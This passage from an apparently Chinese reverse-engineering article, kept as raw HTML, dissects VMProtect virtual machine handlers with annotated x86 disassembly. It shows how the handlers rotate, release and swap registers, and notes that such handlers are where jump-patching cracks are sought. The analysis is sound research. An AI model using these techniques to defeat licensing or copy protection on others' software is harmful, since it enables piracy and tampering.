class="code-snippet__number">004570</span></span><span leaf="">F7</span><span leaf=""> | </span><span leaf="">ror</span><span leaf="">cl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x1</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004570</span></span><span leaf="">F9</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x4D</span><span leaf="">                                    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004570</span></span><span leaf="">FC</span><span leaf=""> | </span><span leaf="">sar</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xB7</span><span leaf="">                                    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004570</span></span><span leaf="">FF</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">bl</span><span leaf="">,</span><span leaf="">cl</span><span leaf=""><span class="code-snippet__comment">//解密出偏移       </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00457101</span> | </span><span leaf="">neg</span><span leaf="">al</span><span leaf="">                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00457103</span> | </span><span leaf="">sub</span><span leaf="">ax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xEC15</span><span leaf="">                                   |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00457107</span> | </span><span leaf="">sbb</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">eax</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00457109</span> | </span><span leaf="">lea</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+ecx+0x4]</span><span leaf=""><span class="code-snippet__comment">//算出虚拟寄存器地址  </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0045710</span></span><span leaf="">D</span><span leaf=""> | </span><span leaf="">ror</span><span leaf="">al</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xC1</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00457110</span> | </span><span leaf="">mov</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[ecx]</span><span leaf="">,</span><span leaf="">dl</span><span leaf=""><span class="code-snippet__comment">//将dl值写入虚拟寄存器中 </span></span></code></pre></p><p><span leaf="" mpa-font-style="moiavzih10sg" style="font-size: 15px;">第6点：寄存器的释放，我们知道 ebp,esi,edi这三个轮转寄存器都有各自的功能，在一个流程块快结束的时候，也就是快要执行虚拟机退出Handler的时候，当某一条Handler之后的handler不再读取伪代码指令或者计算下一条handler的地址的时候，其相应的寄存器会被释放。</span></p><p><span leaf="" mpa-font-style="moiavzih10sg" style="font-size: 15px;">比如说伪代码寄存器或者调度寄存器的值进行随意赋值或者将其用作加密内存地址常数的寄存器，这么做表面上看起来毫无意义，但是在我们开发插件的代码中就需要进行非常大的逻辑改动了。</span></p><p><span leaf="" mpa-font-style="moiavzih10sg" style="font-size: 15px;">果然原作者还是自己会先把自家VMProtect给狂扁一顿：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzihnhn"><span leaf=""><span class="code-snippet__comment">//执行跳转到下一条Handler</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042</span></span><span leaf="">E08C</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf="">ebp</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//PushVR32     </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">DF21B</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">简单+最大保护</span><span leaf="">.4E7299</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">E7299</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xEC3505BA</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">E729E</span><span leaf=""> | </span><span leaf="">movzx</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[esi-0x1]</span><span leaf=""><span class="code-snippet__comment">//读取伪代码</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">E72A2</span><span leaf=""> | </span><span leaf="">movsx</span><span leaf="">ebp</span><span leaf="">,</span><span leaf="">cl</span><span leaf=""><span class="code-snippet__comment">//调度寄存器ebp的值被释放</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">E72A5</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">al</span><span leaf="">,</span><span leaf="">bl</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">E72A7</span><span leaf=""> | </span><span leaf="">ror</span><span leaf="">al</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x1</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">E72A9</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">简单+最大保护</span><span leaf="">.4F5E38</span><span leaf="">                       |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E38</span><span leaf=""> | </span><span leaf="">movzx</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">cl</span><span leaf="">                                    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E3B</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">al</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x98</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E3D</span><span leaf=""> | </span><span leaf="">movsx</span><span leaf="">esi</span><span leaf="">,</span><span leaf="">dl</span><span leaf=""><span class="code-snippet__comment">//调度寄存器ebp的值被释放</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E40</span><span leaf=""> | </span><span leaf="">push</span><span leaf="">edx</span><span leaf="">                                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E41</span><span leaf=""> | </span><span leaf="">not</span><span leaf="">word</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*4-0x2E8]</span><span leaf="">               |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E49</span><span leaf=""> | </span><span leaf="">not</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E4B</span><span leaf=""> | </span><span leaf="">rol</span><span leaf="">al</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x1</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E4D</span><span leaf=""> | </span><span leaf="">dec</span><span leaf="">dl</span><span leaf="">                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E4F</span><span leaf=""> | </span><span leaf="">and</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*8-0x5C8]</span><span leaf="">          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F5E56</span><span leaf=""> | </span><span leaf="">jge</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">简单+最大保护</span><span leaf="">.4AD5DC</span><span leaf="">                       |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD5DC</span><span leaf=""> | </span><span leaf="">dec</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD5DE</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">bl</span><span leaf="">,</span><span leaf="">al</span><span leaf=""><span class="code-snippet__comment">//伪代码解密完成</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD5E0</span><span leaf=""> | </span><span leaf="">not</span><span leaf="">cx</span><span leaf="">                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD5E3</span><span leaf=""> | </span><span leaf="">rol</span><span leaf="">word</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+ecx-0xFAFE]</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xA7</span><span leaf="">           |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD5EC</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+eax+0x4]</span><span leaf=""><span class="code-snippet__comment">// 算出虚拟寄存器</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD5F0</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">dx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xEE</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD5F4</span><span leaf=""> | </span><span leaf="">sbb</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x39B0CEB2</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD5FA</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[eax+edx*4-0x10000]</span><span leaf=""><span class="code-snippet__comment">//读取虚拟寄存器的值</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD601</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edi-0x4]</span><span leaf="">,</span><span leaf="">edx</span><span leaf=""><span class="code-snippet__comment">//值存入虚拟栈</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//PushVR32的变形</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD604</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0x4C]</span><span leaf=""><span class="code-snippet__comment">// 算出虚拟寄存器       </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD608</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edx]</span><span leaf=""><span class="code-snippet__comment">//读取虚拟寄存器的值</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD60A</span><span leaf=""> | </span><span leaf="">sub</span><span leaf="">esi</span><span leaf="">,</span><span leaf="">ebp</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD60C</span><span leaf=""> | </span><span leaf="">movsx</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+esi*8]</span><span leaf="">               |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD610</span><span leaf=""> | </span><span leaf="">push</span><span leaf="">eax</span><span leaf="">                                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD611</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edi+esi-0x8]</span><span leaf="">,</span><span leaf="">ecx</span><span leaf=""><span class="code-snippet__comment">//值存入虚拟栈</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// VMExit 离开虚拟机</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD615</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">ebp</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD617</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">esp</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0x8]</span><span leaf="">                  |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD61B</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">esp</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edi+esi-0x8]</span><span leaf=""><span class="code-snippet__comment">//虚拟栈指针还给esp</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD61F</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">ebx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[eax-0x3B72475A]</span><span leaf="">           |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD625</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">ebp</span><span leaf=""><span class="code-snippet__comment">//恢复到真实ebp</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD626</span><span leaf=""> | </span><span leaf="">shr</span><span leaf="">bl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x41</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD629</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">ecx</span><span leaf=""><span class="code-snippet__comment">//恢复到真实ecx</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD62A</span><span leaf=""> | </span><span leaf="">setnp</span><span leaf="">bl</span><span leaf="">                                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD62D</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">dl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x47</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD630</span><span leaf=""> | </span><span leaf="">not</span><span leaf="">si</span><span leaf="">                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD633</span><span leaf=""> | </span><span leaf="">popfd</span><span leaf=""><span class="code-snippet__comment">//恢复到真实eflag</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD634</span><span leaf=""> | </span><span leaf="">bswap</span><span leaf="">esi</span><span leaf="">                                       |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD636</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//恢复到真实eax</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD637</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">edi</span><span leaf=""><span class="code-snippet__comment">//恢复到真实edi</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD638</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">esi</span><span leaf=""><span class="code-snippet__comment">//恢复到真实esi</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD639</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">edx</span><span leaf=""><span class="code-snippet__comment">//恢复到真实edx</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD63A</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">ebx</span><span leaf=""><span class="code-snippet__comment">//恢复到真实ebx</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">AD63B</span><span leaf=""> | </span><span leaf="">call</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">简单+最大保护</span><span leaf="">.495550</span><span leaf="">                      |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00495550</span> | </span><span leaf="">lea</span><span leaf="">esp</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0x4]</span><span leaf="">                  |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00495554</span> | </span><span leaf="">ret</span><span leaf=""><span class="code-snippet__comment">//离开虚拟机返回到真实指令</span></span></code></pre></p><p><span leaf="" mpa-font-style="moiavzihdgb" style="font-size: 15px;">第7点：轮转寄存器和解密寄存器的偷换，这是我在分析万用门handler的时候发现的，万用门handler算是虚拟机中比较敏感的handler了，这类handler通常都是找jcc爆破的关键handler，所以说作者在这方面应该是加固加固再加固的。</span></p><p><span leaf="" mpa-font-style="moiavzihdgb" style="font-size: 15px;">怎么换呢？这里面先将虚拟栈寄存器ebp的值给eax,那么eax这时候就是ebp的分身了。这样子，我们在判断某一条指令是不是读取虚拟栈内存的时候是不是就变得困难了，这里面可能还包括伪代码寄存器也会这样做，目前我还没发现。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzihaap"><span leaf=""><span class="code-snippet__comment">//PushVStack 这是虚拟栈寄存器存入虚拟栈的Handler</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F61DF</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">esi</span><span leaf=""><span class="code-snippet__comment">//当前虚拟栈寄存器是esi值给ecx</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F61E1</span><span leaf=""> | </span><span leaf="">ror</span><span leaf="">dl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xC5</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F61E4</span><span leaf=""> | </span><span leaf="">jae</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.556582</span><span leaf="">                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F61EA</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[esi+eax*4-0x8AA4860]</span><span leaf="">,</span><span leaf="">ecx</span><span leaf=""><span class="code-snippet__comment">//ecx值存入虚拟栈</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//Dispatcher 计算下一条Handler地址</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F61F1</span><span leaf=""> | </span><span leaf="">or</span><span leaf="">al</span><span leaf="">,</span><span leaf="">ah</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F61F3</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[ebp+eax*2-0x4552532]</span><span leaf=""><span class="code-snippet__comment">//读取伪代码  </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F61FA</span><span leaf=""> | </span><span leaf="">push</span><span leaf="">edx</span><span leaf="">                                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F61FB</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edx+edx+0x4A284788]</span><span leaf="">       |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F6202</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">ebp</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[ebp+edx-0x4A2848FC]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F6209</span><span leaf=""> | </span><span leaf="">movsx</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dl</span><span leaf="">                                    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F620C</span><span leaf=""> | </span><span leaf="">jne</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.431ABA</span><span leaf="">                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00431</span></span><span leaf="">ABA</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">ebx</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00431</span></span><span leaf="">ABC</span><span leaf=""> | </span><span leaf="">sub</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x91B19C05</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00431</span></span><span leaf="">AC1</span><span leaf=""> | </span><span leaf="">call</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.4A467A</span><span leaf="">                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">A467A</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">dx</span><span leaf="">,</span><span leaf="">cx</span><span leaf="">                                       |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">A467D</span><span leaf=""> | </span><span leaf="">not</span><span leaf="">eax</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">A467F</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx-0x4A2848F0]</span><span leaf="">,</span><span leaf="">ecx</span><span leaf="">       |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">A4686</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x4122C6BE</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">A468B</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">cl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x27</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">A468E</span><span leaf=""> | </span><span leaf="">sub</span><span leaf="">edx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xF40FEF8C</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">A4694</span><span leaf=""> | </span><span leaf="">dec</span><span leaf="">eax</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">A4695</span><span leaf=""> | </span><span leaf="">call</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.43DAFA</span><span leaf="">                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DAFA</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x96</span><span leaf="">                                    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DAFD</span><span leaf=""> | </span><span leaf="">or</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">edx</span><span leaf="">                                      |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DAFF</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">ebx</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//伪代码解密完成</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB01</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">edi</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//edi是调度寄存器，计算下一条Handler地址     </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//Nor32 这是一个万用门Handler       </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB03</span><span leaf=""> | </span><span leaf="">push</span><span leaf="">ecx</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB04</span><span leaf=""> | </span><span leaf="">sub</span><span leaf="">cx</span><span leaf="">,</span><span leaf="">word</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx-0x56185964]</span><span leaf="">         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB0C</span><span leaf=""> | </span><span leaf="">inc</span><span leaf="">dx</span><span leaf="">                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB0F</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[esi+edx-0x56185969]</span><span leaf=""><span class="code-snippet__comment">//从虚拟栈取出前面压入的虚拟栈指针</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB16</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">ecx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB17</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[eax+edx-0x56185965]</span><span leaf=""><span class="code-snippet__comment">//这条指令相当于从虚拟栈中读取参数1</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB1F</span><span leaf=""> | </span><span leaf="">jo</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.449C0D</span><span leaf="">                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB25</span><span leaf=""> | </span><span leaf="">inc</span><span leaf="">cl</span><span leaf="">                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB27</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">edx</span><span leaf=""><span class="code-snippet__comment">//将参数1从eax转移到edx</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB29</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">ecx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB2A</span><span leaf=""> | </span><span leaf="">adc</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x2C648</span><span leaf="">                                 |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">DB30</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf="">ecx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">D0CE2</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.4F19A1</span><span leaf="">                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">F19A1</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,</span><span 